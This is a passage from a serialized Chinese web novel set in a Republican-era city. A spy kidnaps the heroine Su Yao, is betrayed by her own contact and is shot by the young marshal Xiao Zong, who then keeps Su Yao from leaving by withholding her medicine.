吕飞章喊了一声，一马当先上前查看，确定车里没有人之后，他气得踹了一脚地上的石头，大骂出声，“你以为你能逃得了吗？现在的海城，一只苍蝇都别想飞出去，想跑？做梦！” 他骂了一声，提高音量，“走，接着搜。” 人群浩浩荡荡地离开。 苏姚动了动，秦芳年警惕地看着她，将枪口往她额头顶了顶，“我警告过你的，敢添乱我就杀了你。” 苏姚平复了一下呼吸，“我会乱动的。” 就算想动，也不能是现在。 秦芳年显然没把她放在眼里，闻言只是哼了一声，眼见吕飞章等人都走了，她就将苏姚拉起来，见她还是一副走不了路的样子，不得不再次把她背了起来。 第二个安全屋在安定区，但她还不等靠近，就远远瞧见数不清的大兵在附近巡视。 虽然看起来她这个安全屋还没有被发现，但这种情况，她根本过不去。 “什么人？！” 刺耳的枪响声响起，是有人发现了她的行踪。 来不及多想，秦芳年背着苏姚扭头就跑，一路上专往小巷子里钻。 好在对方想抓活口，所以还是给了她逃生的机会。 只是被追了一宿，她已经用尽了力气，胸腔疼得像是要炸开，不得不暂时停下来休息。 背上的苏姚忽然动了一下，她刚要骂一句，脖子被骤然勒住，苏姚已经恢复了体力，虽然双手被绑着，可仍旧利用当下的情形，钳制住了她。 秦芳年察觉到了危险，猛地往前一扑，将苏姚摔了出去。 苏姚立刻想站起来逃跑，可双手被束缚实在是太费劲，不等她站起来，秦芳年就一个滑铲冲了过来，刚要爬起来的身体，再次跌倒。 秦芳年彻底用光了力气，几乎站都站不起来，可她手里有枪。 “你再跑一个试试！” 她低吼一声，话里都是愤怒。 苏姚没敢再动，配合地停在原地。 过了许久，秦芳年才勉强喘匀了气，抬腿踢了苏姚一脚，“起来。” 虽然两个安全屋，一个被发现了，一个去不了，但她还留了一手。 她挟持着苏姚，幽灵一般躲过层层搜查的人，带着人钻进了瑞士琴行。 这里之前因为学生暴乱被打砸过一次，之后又因为萧纵的刻意打压，这里一直没有转租或者转卖出去，变得十分萧条，可谁能想到，在这布满蛛网和尘土的地方，竟然还藏着个十分隐蔽的小房间。 确定这里没有人之后，秦芳年长出一口气，将苏姚绑在一架破败的钢琴上，随即从钢琴底下掏出一个电台。 她哒哒哒发了封电报之后，才彻底放松下来，瘫坐在椅子上大喘气。 “累死我了。” 许是因为劫后余生，她的心情忽然变得很好，情不自禁地笑起来。 “我以为萧纵多厉害呢，还不是让我逃了。” 苏姚一边谨慎地磨着绳子，一边套秦芳年的话，“你真的不是个钢琴教师吗？少帅明明说他们一直盯着你，还抓过你一次……” “我故意的。” 秦芳年扬起下巴，“谁让他从我出现的那天就一直在怀疑我呢？我都演戏演得那么逼真了，他竟然还让人盯着我，没办法，我只能让他们抓一回了。” 此举充满凶险，但因为一切如她所料，所以她提起来的时候，话里满是得意，“你不会真以为，我一身本事，只想去争男人的喜欢吧？” 苏姚想起她那三番四次的挑衅和敌意，这才明白过来，“所以，你是故意和我争风吃醋的？” “当然。” 秦芳年笑容里带了几分不屑，“男人嘛，就喜欢相信这种话，只要把女人的行为和吃醋联系起来，不管我们做什么，他们都会觉得理所应当，所以，我就算真的去了三楼，见到了唐黎，他们也信了我只是去骂了她一顿，而没往旁处想。” 苏姚沉默，秦芳年这话真是让人无法反驳。 但很快，她就察觉到了不对劲：“既然你别有目的，为什么他们什么都没查出来？” “因为那时候我还没有目的啊。” 秦芳年眨了下眼睛，越发得意，“我进帅府，本来就没有人指使，当时只是想借他的能耐报仇而已，但后来我就意识到男人靠不住，所以在站稳脚跟后我利用在帅府的身份主动找人达成了交易，借此牟利。” “什么交易？” 苏姚下意识开口，秦芳年却摇了摇头，“这可是秘密，不能告诉你。” 她不说，苏姚也不再追问，却想起了另一件事，秦芳年好像就是不久前才开始挑唆她和萧茵的关系的。 “你原本，想绑架的人，是茵茵？” 她从被绑架到现在，其实一直没有感受到恐惧，但此刻提起萧茵，她的眼神却凌厉了起来。 秦芳年惊讶地看了她一眼，“原来你脑子里不全是男人啊。” 她对苏姚能发现这件事十分惊奇，盯着她看了两眼才点点头，“是啊。” “你怎么能这么做？” 苏姚不敢置信，“茵茵对你那么好！” 秦芳年嗤笑出声，“别开玩笑了。” 她看着苏姚摇头，“一个被人几句话就挑唆了的孩子，谁稀罕她的好？不过是看在她对我有用的份上，我才陪她玩一玩。” 苏姚气的胸腔剧烈起伏起来，连孩子都利用，秦芳年真是…… 片刻后她又忽然放松了下来，“算了，你最后不是也没对她下手吗？” 抓她总比抓萧茵好。 秦芳年却又笑了，“你不会是觉得我心软了吧？” 苏姚蹙眉，满脸不解。 秦芳年站直身体，居高临下地看着她，“我只是最近才发现，你在萧纵心里的位置，似乎比萧茵还要重一些，所以，我才临时变卦，选了你。” 苏姚愣住，她没想到会从秦芳年口中听见这么荒谬的话，她是疯了吗？怎么会产生这种错觉？ 她满心嘲讽，思绪却猛地顿住—— 她一直好奇，为什么萧纵明明并不喜欢她，却非要用尽手段留下她，甚至一度纡尊降贵，放下身段来哄她…… 会不会，就是为了眼下这情形呢？ 如果秦芳年看见的，本就是萧纵想让她看见的呢？ 她看着秦芳年，瞧见她眼底的笃定和自信，心脏忽地沉了下去。 原来如此。 第137章 内讧 “你发什么呆？” 秦芳年踢了踢她，这一脚不轻，苏姚却没什么反应。 她胸腔一片麻木，喉咙却莫名地堵。 需要她这么做，可以直说的啊，何必绕这么大圈子？ 只要他告诉她，这么做是为了萧茵，她不会拒绝的，她不会的…… “对了，你刚才怎么回事？” 秦芳年忽然蹲下来，看着她询问。 苏姚避开了她的眼神，将心里那点波澜强行压下，她要往好处想—— 如果萧纵留下她的目的就是为了这个，那这次如果能平安回去，那她是不是就能拿回自己的药了？ 就当是还了这么多年帅府的庇护吧，两清了…… “你哑巴了？” 秦芳年催促，语气里都是不耐烦。 之前在卫生间里看见苏姚的时候，她就意识到了她不对劲，但没有深究，毕竟苏姚没有反抗能力，对她来说是一件好事。 一直到这时候，她才终于想起来询问。 苏姚平复了情绪，仰头看过来，“和你有什么关系？” “你敢这么和我说话？” 秦芳年那枪顶了下苏姚的头，威胁的意思十分明显，苏姚不为所动：“你又不敢杀我，收起来吧。” “你！” 秦芳年有些恼怒，她竟然被苏姚这样的人挟制住了，可对方说的没错，她现在的确不敢杀她。 “你不说我也知道。” 她嘁了一声，拿枪托拍了拍苏姚的腿，“我早就注意到你身体有问题了，你说你，活成这幅样子，还活个什么劲儿？” 苏姚被刺了一下，“我活成什么样子和你有什么关系？” 秦芳年瘪瘪嘴，“我要是疼成你那样，早自己了结了……” 她说着又好奇起来，“你为什么非要活着？是有什么没完成的事情吗？” 苏姚被问得愣住了，为什么活着？ 好一会儿她才开口，“活着是因为不想死，需要什么理由？” 秦芳年张了张嘴，正要再说点什么，门板忽然被三重一轻地敲了四下，她心里一喜，“终于来了。” 她起身就去开门，可迎接她的却是一支黑洞洞的枪口。 秦芳年身体一僵，“你什么意思？” 门外走进来一个男人，他穿了一身长袍，头顶的礼帽压得很低，几乎遮住了半张脸。 “东西到手了吗？” 秦芳年狠狠骂了一声，“你这副过河拆桥的样子，就算到手了，我也不可能给你啊。” “那可由不得你。” 男人笑了一声，“现在海城这幅情形，除了我家主子，谁还能救你？我也不是要毁约，只是想吃点回扣而已。” 秦芳年有些犹豫，她不是信了男人的话，而是现在不敢拒绝。 “别信他。” 苏姚忽然开口，“你让少帅丢了这么大的人，他绝对不可能放过你，这种时候，谁帮你就是和他作对，这个人背后的主人不管是谁，都不会冒着得罪萧纵的风险放过你，他就是想拿到东西就杀了你，说不定，还会拿你去卖个人情。” 秦芳年狠狠一咬牙，她难道没想到吗？要苏姚来挑明？ 本来装傻还能糊弄一阵子，现在她只能和男人动手了。 趁着男人将目光投向苏姚的一瞬，她骤然出手，可两人却谁都没开枪。 虽然这地方破败的已经没有人在意了，可街上到处都是巡逻搜查的大兵，一旦响起枪声，立刻就会把人引过来，到时候他们谁都别想走。 两人打得你来我往，可毕竟术业有专攻，秦芳年很快就落了下风，被对方一脚踹飞了出去。 她直直撞到苏姚身上，砸得她险些吐出血来。 “你怎么这么没用？” 苏姚忍不住开口，她还想着趁两人打的热闹，磨断绳子逃跑呢，结果秦芳年支撑的时间这么短，根本没来得及。 “还不是你挑拨离间？” 秦芳年也忍不住开口，“我告诉你，不管他要不要杀我，都不会留下你，谁让你都看见了。” 苏姚一咬牙，“既然知道咱们现在是一条绳上的蚂蚱，那你还不给我解开？” 秦芳年有些不甘心，可当下还是保命要紧，她抬手去给苏姚解绳子。 苏姚掌心却感受到了一点异物，她微微一愣，还不等弄清楚那是什么，男人就追了过来，一脚将秦芳年逼开。 男人顺势就要对苏姚下手，秦芳年骂了句脏话，抓起椅子就朝人砸了过来。 椅子四分五裂，却没能改变局势，因为男人不是一个人来的，两个精壮汉子冲进来男人挡下了椅子，秦芳年眼睁睁看着男人掐住了苏姚的脖子。 这要是真把人杀了，自己就一点活路都没了。 “你敢杀她，我就敢把东西毁了！” 她厉声开口，却不等看清楚男人的反应，她就被人偷袭，眼前一黑，险些就这么晕过去。 “给我搜。” 男人还是松开了苏姚，最重要的是秦芳年拿回来的东西，至于这两条人命，并不着急。 汉子将秦芳年上下都摸了一遍，却没找到什么。 “老大，没有。” 秦芳年勉强维持着清醒，“保命的东西，我怎么可能轻易让你找到，我也不是没有防备的……” 男人没理他，只朝两个汉子使了个眼色，两人连忙开始四处搜查，他忽然想到了什么，扭头朝苏姚走了过来。 第138章 抓错人了 苏姚五指一紧，刚才秦芳年给她的东西，就在她掌心里。 虽然还不知道那是什么，但她很清楚，如果东西被男人找到，那自己就得给秦芳年陪葬。 她可不想死得这么不明不白。 “你想干什么？” 她颤声开口，掌心渗出了黏腻的汗水，极力翻动手指将秦芳年给她的东西藏在手腕中间。 值得庆幸的是，那只是个折起来的纸条，虽然她双手被绑着，却仍旧从绳子的缝隙里塞了进去。 她调整了一下姿势，用手腕将纸条死死夹住。 “废话那么多。” 男人骂了一声，抬手就要在她身上翻找。 “你知不知道我是谁？你今天要是敢碰我，你绝对活不了。” 苏姚开口威胁，试图拖延时间，但男人并不给她这个机会，一巴掌落在她脸上。 “闭嘴，不然老子现在就杀了你。” 苏姚被打得侧过头去，目光却极快地瞥了眼秦芳年，赶紧想办法呀，这么下去，迟早会搜到的。 “你不用搜了，东西在我脑子里。” 秦芳年连忙开口，“我不要报酬了，只想平安离开，你放我走吧，等我确定安全的时候我立刻就告诉你。” “你记下来了？” 男人被吸引了注意力，狐疑地看了她一眼，随即朝汉子伸了伸手，对方从怀里掏出个不大的笔记本和钢笔，他拿到秦芳年面前，“把前半部分写出来，我就信你。” 秦芳年一僵，她只是随口找了个说辞，怎么可能真的记住？ 但她还是接过笔，装模作样写了起来，能拖延一点时间也好。 可耳边却响起一声惊叫，她侧头，就见男人竟然又朝着苏姚过去了，她下意识喊了一声，“都说了东西不在她身上。” 男人回头看了她一眼，慢慢咧开嘴笑了，那笑看的秦芳年毛骨悚然，心里一片懊恼，她说错话了。 苏姚也有些绝望的闭上眼睛，秦芳年这反应和直接承认了东西在她身上有什么区别？ 男人立刻走了过来，上下扫视着她，随即将目光落在她手腕上。 苏姚心脏狠狠一跳，汗毛都竖了起来—— 他发现了！ 再顾不得其他，她腰肢发力，双腿高高扬起，一个腿绞就夹住了男人的脖子，却因为身体受限，被一拳重重砸在腹部。 这一下力道极重，她被打得喉间腥甜，一瞬间失了声，却仍旧挣扎着朝秦芳年看过去，却发现她竟然趁着所有人的注意力都被自己吸引了的时候，爬上了窗户试图逃跑。 王八蛋！ 她心里恨恨骂了一声，这才反应过来，刚才秦芳年将东西给她，不只是为了隐藏，也是要祸水东引。 两个汉子连忙去抓人，可那些已经和苏姚无关了，因为刚才那一番动作，纸条露了出来，男人狞笑一声，弯腰就要来拿。 苏姚一阵绝望，东西到手，她必死无疑，之前她竟然还以为，能回到帅府，拿到她的药…… “砰！” 刺耳的枪声响起来，一发子弹透过门板射进来，正中男人眉心。 男人一头栽了下去。 苏姚愣住，谁开的枪？ 领头的死了，两个汉子立刻反应过来想要躲藏，可外头的人却并不打算给他们这个机会，子弹紧跟着就射了进来，暴雨一般，两个大汉瞬间被打成了筛子。 苏姚愕然开口，她还被绑着动弹不了，幸运的是，钢琴的腿矮，所以她一直坐在地上，子弹虽然不停地在头上飞过，却没有伤到她。 秦芳年从窗户上跳下来，脸色却变得十分难看，她一把捡起地上的枪，对准了苏姚的头，随后目光才看向门外。 门板已经摇摇欲坠，随着一声轻响过后，门板轰然摔落，扬起一片尘雾。 “秦芳年，你不会以为你逃得掉吧？” 随着尘雾慢慢落下，熟悉的声音响了起来，男人那张脸也清晰的出现在眼前。 是萧纵。 来得原来是他啊。 苏姚遥遥看着他，短暂的惊讶过后，心情迅速的平复了下去，古怪的不悲不喜。 秦芳年倒是激动得多，“不想她死，就都给我后退！” 她似乎意识到了危险，整个人都藏到了苏姚身后，“你是怎么找到这里的？” 萧纵的目光落在苏姚身上，见她身上没有明显的伤痕，心下一松，这才有心情回答她的话，语气里却都是不屑，“你那点伎俩，以为我真没看穿啊？陪你玩这么久，不过是想引他们出来而已。” 他目光扫过地上的三具尸体，男人的礼帽已经掉了，脸虽然陌生，但想查具体身份的话并不难。 只是就这么打死了，有点可惜。 但为了苏姚的安危，损失一点也没什么。 他目光再次落在苏姚身上，却见她垂着眼睛，并不肯看自己。 吓坏了吧。 “你是说，你上次没骗过你？” 秦芳年脸色涨红，眼底都是气恼，她狠狠啐了一口，“装什么？你要是真的早就知道，怎么会让我抓到人质？” 萧纵咬了咬牙，苏姚是唯一的变数。 他纵容秦芳年靠近萧茵，就是想给她可乘之机，省些麻烦，这样最后只要保护好萧茵，就不会出问题，可哪想到，秦芳年竟然会临时变卦，放着一个好掌控的孩子不掳，反而带走了苏姚。 看着苏姚萎靡的样子，他指节咔吧响了一声，却强行镇定下来，“放下枪，我给你个全尸。” “做梦！” 秦芳年将枪口狠狠往苏姚身上怼了怼，“我活她活，我死，她也得死！都给我退出去！” 她怒声开口，手抖得仿佛下一瞬就要走火。 萧纵眉心一跳，心脏也跟着提了起来，可他仍旧没有退。 博弈的时候，最忌讳被人抓住软肋。 “敬酒不吃，吃罚酒是吗？” 他沉声开口，秦芳年有些慌乱，她没想到萧纵竟然不肯退让。 “我不是在和你开玩笑！” 她将枪口又往前怼了怼，萧纵却仍旧没有反应，秦芳年心头咯噔一声，怎么会这样？ 她千挑万选的人质，竟然挟制不住他。 “抓错人了吧？” 苏姚的声音这时候才响起来，竟带了几丝嘲讽。 第139章 你要救我 “你在说什么风凉话？” 秦芳年又急又气，“你还不赶紧求他！我说过，我会让你给我陪葬的！” 苏姚有些无力，“秦芳年，你现在还看不明白吗？从你抓我的那一刻起，你就活不了了……我也是。” 话虽这么说，苏姚仍旧有些庆幸，庆幸在这里的人，不是萧茵。 那么小的孩子，实在不该经历这些。 这世道，可真是烂透了…… 秦芳年迟迟没说话，抵在太阳穴的枪口却松动了一些，似是在进行激烈的思考，等她再开口的时候，声音已经软了下去，嗓子也有些沙哑，“你真的没办法了？他之前那么在乎你，不可能真的看你去死，你再想想办法，求求他，我们一起活多好啊。” 说到后面，声音里竟然带了几分祈求。 苏姚嘲讽地看她一眼，“你刚才扔下我自己跑的时候，怎么没想一起活啊？” “你！” 秦芳年怒道，随即用力拿枪戳了戳她，“你没资格和我讨价还价，去求他！” 苏姚没动，秦芳年有些气急败坏，“你是真活腻歪了？” “我不是不想去，是去了也没用。” 苏姚很无奈，她遥遥看了眼萧纵，话却是和秦芳年说的，“你就没想过，你为什么会误会他很在乎我吗？” 秦芳年被问得一愣，为什么会误会？ 她好像明白了什么，眼底闪过震惊，表情都空白了一瞬。 “敢耍老娘！” 秦芳年终于回神，气得浑身都在哆嗦。 “你在嘀咕什么？” 萧纵忽然开口，这短短一小会儿，他拿枪的手都出了汗，可他不能表现出来，语气里仍旧透着一股寒意。 秦芳年恨恨看了他一眼，却强行镇定下来，“其实我也没造成什么伤害，你就放过我吧，看在茵茵的面子上，你也知道她很喜欢我，如果你真的杀了我，她会恨你的。” 萧纵被她的无耻气笑了，一个从头到尾都在利用萧茵的人，竟然有脸拿她说话。 他冷冷看过来，“你把自己看得太重了，你还不配。” “你！” 秦芳年恨恨骂了一声，“你这么不顾她的感受，怪不得她不喜欢你这个大哥。” 萧纵才不在乎这些，只冷冷看着她，“给你三秒钟，把人放了，不然你留不下全尸。” “等等，” 秦芳年连忙又往苏姚身后藏了藏，“你就不想知道我从唐黎那里拿走了什么？” “唐黎就在我手里，你觉得我需要知道？” 萧纵摇了摇头，似是对秦芳年的愚蠢很无语。 秦芳年脸色铁青，她死死盯着萧纵，见他的确半分商谈的意思都没有，头脑反而冷静了下来。 “看来，你今天是要给我陪葬了。” 她看了苏姚一眼，苏姚没理她，秦芳年却仿佛将全身的戾气都放在了她身上，“你可真失败，养大的孩子，被我几句话就糊弄得离了心；陪了六年的男人又是这么个狼心狗肺的东西；还那么一身的病……我杀了你，是不是算救了你啊？” 苏姚身体骤然紧绷，她不在乎别的，但萧茵不是那种孩子。 “茵茵只是年纪小，还分不清谁是真对她好的人。” “别自欺欺人了，” 秦芳年嗤笑一声，“你一点价值都没有，才会落到现在这个下场，和孩子多大根本没有关系，苏姚，其实你一点都不冤枉。” 苏姚只觉心脏被狠狠刺了一刀。 “你凭什么说我没价值？我当年登台的时候……” 她已经很久没有提起她最爱的这场戏了，也很久都没回想自己最风光的时候了，从那天发作之后，这些回忆，每每想起就会让她痛苦。 她几乎是下意识地就在回避，回避过去，回避当下，也回避以后。 以至于现在提起的时候，她竟然有些恍惚。 “你早就唱不了梁红玉了。” 秦芳年的声音响起来，打断了她恍惚的思绪，声音十分尖锐，“我其实一直很好奇，你这种人，凭什么唱梁红玉？你也配吗？” 苏姚浑身都战栗了起来，她的确很多年不曾登台，可她为了这出戏付出了那么多，凭什么没有资格唱？ “你给我闭嘴！” 她怒喝一声。 察觉到她情绪不对，萧纵抬眸看过来，“秦芳年，你在说什么？” 秦芳年整个人都藏在了苏姚身后，“说几句遗言啊，少帅，这都不行吗？” 萧纵的眉头拧成了一个疙瘩，眼角余光瞥了眼窗户，面上却不动声色。 “原来你还是会愤怒啊。” 秦芳年忽然缓和了语气，“你知不知道，我拿到的是什么？” 苏姚没开口，许是因为愤怒，之前有些混沌的大脑竟然恢复了清醒，她虽然看不见秦芳年的脸，却仍旧感觉到了一点不怀好意。 “那其实是一种抗生素的提炼方法，是国内的水平也能做到的提取，你知道，如果我把这个方子带出去，能救多少人吗？” 苏姚一愣，有些意外她会这么说，但很快就反应过来，“你是和谁做的交易？” “那重要吗？” 秦芳年语气急切，“虽然我的确是想赚些钱，但也只是想为了给我爹娘报仇，合情合理，而且不影响我救人啊，你想想，不管我把方子卖给谁，他们都要制药的，药做出来就会救人，你现在救我就是救那些无辜的人，你那么喜欢梁红玉，就不想和她一样，做个英雄吗？” 她知道苏姚的软肋，立刻提起了萧茵，“你知不知道因为没有抗生素，每年要死多少人？其中很多都是孩子，是比萧茵还小的孩子，你忍心吗？” 苏姚不自觉将纸条攥进了手里，这小小的一张纸，竟然有这么大的作用吗？ 掌心忽然沉了起来，她几乎要握不住那小小的纸条。 “苏姚，只要你帮我拦一拦他们，一分钟，我就能离开，就能救很多人，他们也不会真的杀你，两全其美。” 秦芳年再次开口，她说着要去拿苏姚手里的纸条，苏姚却猛地避开，“为什么非要你去送？” 秦芳年一愣，回神后恼羞成怒，“你在耍我？！” 随着话音落下，一道枪声，骤然响起。 第140章 你不敢死 小房间的窗户上，不知道何时多了一支黑洞洞的枪口，此时枪上正冒着白烟。 秦芳年应声到底，鲜血顺着弹孔慢慢淌出来，很快就汇聚了一滩。 苏姚艰难侧头看她，却见她还大睁着眼睛，嘴唇不停动弹，虽然因为大脑受伤，她已经说不出话了，可苏姚还是从唇形看了出来，她说的是，还没报仇。 苏姚想起她刚才说的那句“为父母报仇”，不自觉抓紧了手里的纸条。 “苏姚，没事吧？” 萧纵大步走了过来，给她解开了绳子，可这一宿担惊受怕的，他的手竟然有点抖，好一会儿才稳住情绪，将绳子解开。 警卫们也冲进来处理了尸体，该调查的调查，该清理的清理。 苏姚侧头看过来，眼底情绪几番变化，最后定格在期待上。 她不想计较萧纵对她的利用，只是既然现在活下来了，是不是就能如她所想，把药还给她了？ 她哑声开口：“我现在，能走了吗？” 萧纵一时没听懂，还以为她要回家，连忙应了一声，将她拉起来拥进了怀里，抬手用力揉了揉她的发丝，“当然，我们现在就回家。” 话音落下，他拉着人就走。 苏姚忍着腹部的剧痛，站着没动，重复道：“我能走了吗？” 萧纵被问得蹙了下眉，后知后觉反应过来，苏姚说的走，不是他以为的那个走。 “怎么又提起这个了？” 心头既慌乱又烦躁，萧纵却强行软下了声音，“我知道你受了惊吓，但这是意外，我保证，不会再有下一次，别再提这件事了。” 苏姚沉默下来，这和她想的不一样，许久后她才再次开口：“你还想用我干什么？” 她看了眼地上秦芳年留下的那一滩血迹，难以理解，“府里已经没有外人了，以后不会再发生这种事，我对你而言，应该没什么用了，为什么不放我走？” 萧纵愣住，饶是他再聪慧，也没听明白这话。 “苏姚，你是不是被吓坏了？” 他抬手去摸苏姚的额头，苏姚没有闪避，“少帅，这种时候，就别演了吧，我这些年的确拿了帅府不少东西，但做到这个地步，也该两清了，把我的药还给我吧。” 药这个字，狠狠刺痛了萧纵：“为什么又提你的药？” 胸腔里的火气瞬间被点燃，他以为这次意外虽然凶险，但好歹他也是救了苏姚，不管怎么着，都应该能促进一下两人的关系，可没想到她竟然又生出了离开的念头。 “苏姚，你明天就要过门了，为什么又要说走？哪里不满意，你可以直说的。” 话音落下，他才反应过来，这话不对劲，什么叫别演了？什么叫两清了？ 他回想着之前种种，终于反应过来，他不敢置信地看向苏姚，“你是觉得，你被绑架，是我故意设计的？” 苏姚没开口，只是看着他，萧纵气得浑身哆嗦，“我为什么要这么设计你？我图什么？苏姚，你说话要凭良心，我最近对你还不够好吗？你还想我怎么样？你难道非要我明媒正娶吗？” 苏姚静静看着他发疯，刚升起来的希望一点点破灭下去，心头冷得发疼。 这其实，不是萧纵第一次利用她了，上次萧家的绑架也是。 但他却根本不肯承认。 “茵茵没事吧。” 她轻声开口，萧纵虽然满腔怒火，却仍旧应了一声，“金锦一直看着她，她没……” 他陡然反应过来，苏姚这话不只是在询问萧茵，也是在回答他之前的那句“我图什么”。 “苏姚，你觉得我是为了转移秦芳年的注意力，为了保护萧茵，才会对你好的？” 他被气得浑身发抖，看着苏姚却一个字都说不出来，只有胸腔里的东西在剧烈地跳动，一下一下，仿佛要破开肋骨跳出来。 太荒谬了，太荒谬了！ 苏姚竟然会觉得她会为了保护萧茵，就把她推出去！ “你先跟我回去，有话回去再说。” 他强压着火气，拉着苏姚就走，苏姚没有反抗，反正不管怎么样都要回去的，或许他想在车上谈。 只是上了车，还不等开口，她就控制不住的蜷缩了起来，刚才挨得那一下好疼。 那个戴礼帽的男人，应该的确是没想留她的命。 萧纵气头上，没注意到她的异样，他正在极力控制自己的情绪，这事不能怪苏姚，她不久前才受了一次刺激，还没等好就又经历了绑架，不能怪她，不管她说什么，都不能怪她。 他一下下深呼吸，胸腔里的火气终于压了下去。 “苏姚，你好好想想，我真的需要做到这个地步吗？我难道没有更省心的办法吗？” 苏姚捂着腹部侧头看过来，心里实在不明白他为什么不肯承认，索性直接挑明，“那你，为什么不肯让我走？” 萧纵被她气得又抖了一下，“我告诉过你了啊，我对你动心思了，苏姚，你难道看不出来吗？” 他声音有些变调，抓着苏姚的肩膀，逼着她看向自己。 可苏姚眼底一片凉意，显然她对这句话一点都不认可。 萧纵呼吸再次急促了起来，他从未被人如此怀疑过，他的话苏姚为什么不信？ “苏姚，我为什么要骗你？你有什么值得我骗？” 他低吼出声，话音落下才觉得这话里带着轻蔑，可他已经没有心思去纠正了，他看着苏姚，满腔都是无力，“你到底想让我怎么样？” “好像，这句话该我问你吧？” 苏姚仰头看他，声音里都是无力，她实在厌倦了这种对话，“你想让我做什么，你直说吧，你说我做，只要能把药还给我……” “你做梦！” 萧纵被彻底激怒，音调猛地拔高。 司机被吓了一跳，车子猛地走了个S，虽然很快就被扳回了正轨，但司机仍旧被吓得心脏狂跳。 好在争执中的两人谁都没有发现，萧纵一双沁血的眸子死死盯着苏姚，“苏姚，我希望这是我们最后一次为这件事争吵，你给我听清楚，你生是我的人，死是我的鬼，这辈子都别想拿到药，你给我死了这条心。” 手上的伤口逐渐崩裂，苏姚却没感觉到丝毫痛楚，她看着那双凌厉残酷的眸子，感受着他话里的决绝强硬，仿佛看见一座笼子兜头罩下，将她刚生出来的希望无情碾灭。 她头一回如此清晰地感受到了活着的痛苦，连发作没药的那次，都抵不过这次的绝望。 “你是要逼死我吗？” 萧纵一滞，整个人都僵住了，苏姚竟然会说这么一句话…… 可很快，他就回过神来，他想起了苏姚为了药做出的退让，想起了她对没有药的恐惧，心神安定下来，他缓缓而又坚定地朝苏姚摇了摇头—— “你不会死的，苏姚，我知道你有多怕死，所以不用拿这个吓唬我。” 第141章 偏颇 车厢里陷入死一般的寂静，苏姚迟迟没再开口。 车子很快回了帅府，在主楼前停了下来。 “好了，我们就当今天的谈话没有发生过。” 萧纵开口，做了总结，苏姚却仍旧没给出回应，他这才侧头看过去，却见苏姚蜷缩在座椅上，紧紧捂着腹部。 他一惊：“你受伤了？怎么没告诉我？” 他连忙想去检查，苏姚却扭开头，她打开车门，半弯着腰下了地。 金锦正带着萧茵在门口等着，见她姿势不对，连忙扶了一把，苏姚低声道了谢，目光很快落在萧茵身上，她果然没有受伤，还是之前的样子。 苏姚连忙理了下自己凌乱的发丝，温声开口：“吓坏了吧？” 萧茵扑进她怀里，仰头看过来，“你没事吧？” 苏姚摇摇头，她没事，只是有点内伤，休养一段时间应该就能好了。 她抚摸着萧茵柔软的发丝，脑海里想起了秦芳年的话，对方根本不了解萧茵，她是个好孩子，怎么可能真的和她离心。 她抬手想再抱抱她，萧茵却从她怀里挣脱了出来，探着头往她身后去看，“秦老师呢？她也不见了，没跟你们一起回来吗？” 苏姚顿了顿，神情陡然晦涩起来，眼前又浮现出了秦芳年那张死不瞑目的脸。 虽然秦芳年想为父母报仇没错，但自己和萧茵不欠她的，被她祸害成这样，她不可能不恨她。 可看着萧茵那张脸，她却有些不知道该怎么开口。 “小傻子，还问呢，苏姚就是被她绑走的。” 萧纵下了车，咬牙切齿地开口，只是话虽然是和萧茵说的，目光却落在了苏姚身上。 可惜并没有得到回应。 “不可能！” 萧茵稚嫩的声音里都是愤怒，她恼怒地瞪着萧纵，“秦老师才不是那种人，那天出事的时候，她还把我护在怀里，一直保护我呢，她怎么可能绑走苏姚啊。” “我都亲眼看见了，你不承认有什么用？” 萧纵抬手给了萧茵一个脑崩，大约是因为刚才和苏姚争吵过，还吵得特别厉害，所以他现在并没有心情顾及萧茵幼小的心灵。 他本以为，才两个月而已，两人的感情不会多深，可萧茵的反应却出乎意料的激烈。 她小跑过来拦住了两人的路，“秦老师真的不是那种人，大哥，你肯定是看错了，你让她过来给你解释，她不会的……” 见萧纵无动于衷，她扭头看向苏姚，“苏姚，是不是你告诉大哥，是秦老师把你绑走的？你说实话吧，别冤枉秦老师。” 苏姚愣在原地，许久后才回神。 她不敢置信地看了过去，萧茵在说什么？ 什么叫说实话？什么叫别冤枉？ 她是为了给秦芳年开脱，所以要推在她身上吗？ 脑袋嗡嗡作响，胸口剧烈起伏起来，她头一回真的生了萧茵的气。 她张了张嘴，很想质问她，自己在她心里就是这种人？ 可嗓子却忽然哑了，她试了许久，竟一个字都没说出来，反倒是腹部的伤更疼了一些，就算是她这样能忍疼的人，都疼得有些站不住。 金锦察觉到了不对劲，连忙喊了大夫，然后扶着她往里头去。 萧茵不依不饶，抓着她的手不肯松开，“苏姚，你说实话。” “小姐，别闹了，你没看见苏小姐受伤了吗？！” 金锦忍不住开口，萧茵犹豫着打量了苏姚一眼，似是想说什么，却不等开口，就被萧纵一把拉开。 “别胡闹。” 他呵斥一声，抬手想去扶苏姚。 苏姚看了他一眼，眸子里的复杂情绪，让他根本不敢直视。 他收回手，等两人走远才跟了上去。 苏姚不肯再去三楼，好在她的卧室已经修好了，虽然细节处没做好，但也能住人了。 医生一直在客厅候着，听见喊声连忙跟了上去，只是这伤在腹部，他不敢当着萧纵的面去脱苏姚的衣裳，只能让别人代劳。 金锦本想上前，却被萧纵抬手拦住了，他走到床边，抬手去解苏姚的衣裳。 旗袍还算齐整，可等那薄薄的布料解开，萧纵却忍不住倒吸了一口气。 苏姚腹部一团紫痕，触目惊心。 摸爬滚打这么多年，萧纵很清楚这伤是怎么来的——被狠狠肘击过。 手肘本就是人体最坚硬的部位之一，看这伤的样子，对方是下了死手的，他当时竟然没发现。 “谁动的手？秦芳年吗？” 他有些后悔，当时让她死得太轻易了。 苏姚没开口，反正都死了，说这个还有什么用？ 萧纵见她不理会自己，脸色又沉了几分，却没再多问，只仔细看了看伤口，随后给她换了套衣裳。 医生这才进来，隔着衣服又做了一遍检查，忍不住摇头，“这下手可太狠了，若是不及时医治，就是不把人拖死，也得留下很严重的病根。” 萧纵烦躁地抓了下头发，他是真的没想到会有人敢对苏姚下这种狠手。 “让葛大夫也来看看。” 金锦连忙去喊人，萧纵看着苏姚，很想说点什么，却又什么都说不出来，末了，他还是转身走了，去了书房，重新给苏姚拿了药出来。 可大约是因为看见了那条被咬坏的毛巾，他终于意识到了两片药不够，所以这次从两片变成了四片。 “药我拿过来了。” 萧纵将药瓶放在床头的矮柜上。 苏姚垂着眼睛，一言不发。 看见她这副样子，萧纵心口就堵得慌，他侧头吐了口气，叹息般开口，“苏姚，认命吧，你本就依附我活着，弱点又那么多，拗不过我的。” 话音落下，他转身往外走，还有很多事情等着他处理。 可一出门却发现萧茵站在门口，脸上带着浓浓的担忧。 